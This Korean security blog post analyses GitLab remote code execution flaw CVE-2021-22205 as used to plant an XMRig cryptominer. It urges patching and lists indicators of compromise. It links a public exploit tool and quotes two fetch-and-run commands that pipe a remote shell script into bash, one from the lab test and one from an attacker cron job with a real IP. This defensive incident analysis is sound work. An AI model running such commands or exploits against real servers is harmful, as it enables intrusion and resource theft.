상세 컨텐츠

본문 제목

GitLab 원격 코드 실행 취약점 (CVE-2021-22205)

취약점 분석 리포트

by Hexer 2022. 3. 11. 13:55

본문

 

1. 개요

최근 국내에서 GitLab RCE (CVE-2021-22205) 취약점을 통해 가상화폐 채굴 악성코드에 감염되는 사례가 발견되고 있습니다. GitLab을 운영하고 있는 시스템이 있다면 아래 취약점 정보를 확인하여 가능한 빨리 패치를 적용할 것을 권고합니다.

 

2. CVE-2021-22205 취약점

CVE-2021-22205 취약점은 GitLab에서 이미지 파일에 대한 유효성 검증이 미흡하여 발생하는 원격 명령 실행 취약점(RCE)으로써, 처음에는 인증이 필요한 RCE로 간주되어 CVSS 9.9점을 받았지만, 인증되지 않은 공격자도 트리거 할 수 있다는 사실이 발견되면서 2021년 9월 21일 CVSS 10.0으로 수정되었습니다.

2021년 4월 14일 GitLab 13.8.8, 13.9.6, 13.10.3 버전에서 해당 취약점에 대한 패치가 발표되었지만, 여전히 패치되지 않은 GitLab 인스턴스가 인터넷에 다수 노출되어 있는 상황이기때문에, GitLab 이용자들은 가능한 빨리 버전 업데이트를 통해 해당 취약점에 대한 조치가 필요할 것으로 보입니다. 또한, 설치형 버전의 GitLab을 이용하는 경우 인터넷 상에서 접근이 불가하도록 설정하는 것이 가장 이상적이며, 인터넷을 통한 Gitlab 접근이 불가피한 경우 VPN 배후에 배치할 것을 권고합니다.

 

[표 1] CVE-2021-22205 영향받는 버전
 

 

3. 공격 시나리오 재구성

‘CVE-2021-22205 취약점을 악용한 가상화폐 채굴 악성코드 감염’을 주제로 예상되는 공격 시나리오를 재구성하여 분석을 진행해 보았습니다. 

피해 PC는 GitLab CE의 취약한 버전이 설치된 리눅스 시스템으로 가정하여 테스트를 진행하였으며, 전반적인 공격 예상 시나리오는 다음과 같습니다.

[그림 1] 공격 예상 시나리오

 

 3.1 CVE-2021-22205 Exploit

먼저, 취약한 버전(13.3.5)의 GitLab CE가 설치된 리눅스 시스템을 구축한 뒤, GitHub에 공개되어 있는 2021-22205 Exploit 공격 도구를 이용하여 Exploit을 수행하였습니다. 아래 그림은 해당 공격 도구를 이용하여 피해PC에 악성 쉘스크립트를 다운로드 및 실행하는 과정을 나타낸 것입니다.

※ CVE-2021-22205 Exploit 공격 도구 다운로드 사이트 : https://github[.]com/Al1ex/CVE-2021-22205

[그림 2] CVE-2021-22205 Exploit 공격 도구 실행 화면

 

[그림 3] GitLab CE 버전 정보 확인

 

위와 같이 CVE-2021-22205 Exploit 공격 도구가 실행되면 피해PC에서는 공격도구 상에서 -c 옵션의 인자로 입력한 “curl http://192.168.157.164/tmp.sh | /bin/bash” 명령이 실행되어 악성 쉘스크립트(tmp.sh)를 다운로드 및 실행하게 됩니다.

 

아래 그림은 CVE-2021-22205 Exploit 공격 도구를 이용하여 Exploit 시 송수신되는 패킷을 캡쳐한 것입니다.

먼저, 공격자PC에서 피해 GitLab 서버/users/sign_in 경로로 Get 요청이 발생하며, User-Agent는 python-requests/2.26.0으로 표기됨을 확인할 수 있습니다.

[그림 4] 최초 Get 요청 패킷

 

이후, GitLab 서버/uploads/user 경로로 원격 실행명령이 포함된 ‘test.jpg’ 이름의 image Type 데이터가 전송됩니다. 전송되는 이미지 데이터를 세부적으로 확인해보면, 이미지파일 형식 중 하나인 DjVu 파일의 시그니처인 “AT&TFORM” 문자열을 확인할 수 있으며, 이러한 이미지 파일에 대한 유효성 검증 미흡으로인해 내부 포함된 원격 명령이 피해PC에서 실행됩니다. 

[그림 5] /uploads/user 경로로 원격 실행명령이 포함된 image Type 데이터 전송

 

피해PC에서는 gitlab_access.log에서 아래와 같이 로그 확인이 가능합니다.

[그림 6] /var/log/gitlab/nginx/gitlab_access.log

 

하지만, CVE-2021-22205 취약점을 악용한 공격에 대한 로그를 확인하기 위해서는 gitlab-workhorse 로그를 추가적으로 확인해 보아야합니다.

GitLab은 파일 다운로드나 업로드와 같은 대규모 HTTP요청을 처리하기 위해 gitlab-workhorse가 존재하며, gitlab-workhorse는 최종적으로 첨부파일을 전달하기 전에 ExifTool을 호출하게 됩니다. ExifTool은 이미지에서 메타데이터를 제거하는 역할을 수행하며, CVE-2021-22205는 이러한 ExifTool이 이미지에 포함된 특정 메타데이터를 구문 분석하지 못함으로 인해 발생하게 됩니다.

따라서, 관련 로그인 gitlab-workhorse 로그에서 아래와 같이 공격 흔적을 확인할 수 있습니다.

[표 2] /var/log/gitlab/gitlab-workhorse/current
 

 

3.2 악성 쉘스크립트 분석

CVE-2021-22205 Exploit이 성공하면 피해PC에서는 원격명령이 실행됩니다. 본 시나리오에서는 악성 쉘스크립트(tmp.sh)를 다운로드하여 실행하는 명령이 실행되었으며, 해당 쉘스크립트가 동작하면서 가상화폐 채굴 악성코드가 포함된 압축파일을 다운로드 하였습니다.

[그림 7] 가상화폐 채굴 악성코드가 포함된 압축파일 다운로드 (tmp.sh)

 

가상화폐 채굴 악성코드가 포함된 압축파일 다운로드가 완료되면, 특정 디렉토리(/var/tmp/c3pool)를 생성하여 해당 경로에 압축을 해제한 후 가상화폐 채굴 악성코드를 실행합니다.

[그림 8] 다운로드한 파일을 /var/tmp/c3pool 경로에 압축해제 (tmp.sh)

 

생성된 디렉토리와 압축해제 된 악성파일은 GitLab RCE 취약점을 통해 생성된 것이므로, 소유 계정을 확인 시 GitLab 관련 계정인 ‘git’ 계정임을 알 수 있습니다.

[그림 9] /var/tmp/c3pool 경로에 압축해제 된 가상화폐 채굴 악성코드

 

※ GitLab CE 설치 시 아래와 같은 계정이 생성되는 것으로 확인됨.

[그림 10] GitLab CE 설치 시 생성된 계정

 

[그림 11] 가상화폐 채굴 악성코드(miner.sh) 실행

 

실행된 가상화폐 채굴 악성코드 확인을 위해 현재 동작중인 프로세스를 확인해보면, ‘git’ 계정으로/var/tmp/c3pool/xmrig가 실행중임을 알 수 있습니다.

[그림 12] 동작 중인 프로세스 확인 (ps -ef)

 

또한, netstat 명령을 통해 네트워크 연결상태를 확인하면 해당 프로세스가 mining server와 연결된 것을 확인할 수 있습니다.

[그림 13] 네트워크 연결 상태 확인 (netstat -antup)

 

mining server 등 채굴 관련 추가 설정 정보는 /var/tmp/c3pool 경로에 위치한 config.json 파일을 통해 확인 가능하며, 동일 경로의 xmrig.log 파일을 통해 채굴 로그를 확인할 수 있으므로 타임라인 기반 침해사고조사 시 이를 활용할 수 있을 것으로 판단됩니다.

[그림 14] /var/tmp/c3pool/xmrig.log

 

마지막으로, 가상화폐 채굴 악성코드가 실행된 이후에는 지속성 확보를 위한 Cron 예약 작업이 등록되는 것을 확인할 수 있습니다.

[그림 15] Cron 등록

 

4. IOC

본 공격 시나리오에서 확인할 수 있는 IOC 정보는 아래와 같습니다.

구분 내용
생성 디렉토리 (소유 계정 : git) /var/tmp/c3pool
생성 파일 (소유 계정 : git) /var/tmp/c3pool/config_background.json
/var/tmp/c3pool/config.json
/var/tmp/c3pool/miner.sh
/var/tmp/c3pool/xmrig
/var/tmp/c3pool/xmrig.log
가상화폐 채굴 악성코드 /var/tmp/c3pool/xmrig
가상화폐 채굴 악성코드 MD5 f65f547869ca35a8e2902c4dec0dd97f
Mining Server 51.81.186[.]228:17777
Cron (/var/spool/cron/git) 8 20 * * * curl http://204.44.82[.]44:8082/1.sh|bin/sh
 

 

 

보안관제센터 MIR Team

관련글 더보기

댓글 영역